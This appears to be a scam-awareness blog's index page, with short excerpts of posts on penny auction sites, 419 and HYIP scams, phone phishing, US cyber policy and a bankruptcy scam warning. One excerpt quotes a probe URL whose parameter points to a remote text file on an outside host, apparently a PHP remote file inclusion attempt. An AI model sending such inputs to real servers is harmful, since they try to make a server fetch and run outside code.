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Swoopo, BidRivals (and other Penny Auction sites) – Are they a Scam?
My answer is ‘Probably Yes‘! These sites (and there are plenty of copycats) appear to operate as eBay-type auctions, but they have several important differences which people need to be aware of: The main one being, unlike eBay, when the auction ends, it doesn’t! These are not real, fair auctions like you’d expect – you […]
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Less 419 Scams while Nigerian Cable is Out?
Large parts of West Africa have communications blackouts after damage was found on the major undersea fiberoptic cable, known as SAT-3, which supplies countries such as Benin, Togo, Niger and Nigeria. The cable runs from Portugal and Spain to South Africa, via West Africa and has cut 70% of Nigeria’s bandwidth, causing severe problems for […]
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Hippy-eye-ay – WTF is a HYIP?
According to Wikipedia, a High Yield Investment Program (aka HYIP) is … A high-yield investment program (HYIP) is a type of Ponzi scheme, which is an investment scam that promises an unsustainably high return on investment by paying previous investors with the money invested by newcomers. Ok, yet another scam – so what? Well, there’s […]
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Golden 1 Phone Scam hits Sacramento
Social engineering is an approach used to gain unauthorized access to or acquisition of information assets. This approach relies on misrepresentation and the trusting nature of individuals, and is often carried out through the use of phishing telephone calls or email. A phishing telephone call or phishing email may sound or look as though it […]
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Obama gets Serious about Cyber Security
In February 2009, President Obama directed a 60-day review of the plans, programs and activities underway throughout the government that address communications and information infrastructure (i.e., cyberspace). The purpose was to develop a strategic framework to ensure that initiatives in this area are integrated, resourced and coordinated appropriately, both within the Executive Branch and with […]
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PHP Exploit URL foxes Apache
There are a lot of smart people out there who know way too much about computers and software and stuff, like this guy: ‘Perishable Press‘. So, can someone clever please tell me why this simple url hangs up a bunch of seemingly dissimilar web servers: http://www.microsoft.com/errors.php?error=http://abirdseyeviewof.com/files/image/id1.txt? Here’s the deal – when someone asks for a […]
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Mortgage/Bankruptcy Scam Warning!
The US Trustee Program, part of the US DoJ, runs the Federal bankruptcy system, monitoring the conduct of people involved in bankruptcy cases, ensuring compliance with applicable laws and investigating bankruptcy fraud and abuse. They recently issued the following warning for people who are already overwhelmed by the legal juggernaut of a bankruptcy filing and […]
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Who or What is BobBear?
In my infrequent callouts to other websites that (like Scamdex) were created out of the blind fury experinced by seeing bad people taking money from good people, I have another site for you to take notice of. But first, a recap: When Scamdex started in 2004, there were very few sites about scams and Internet […]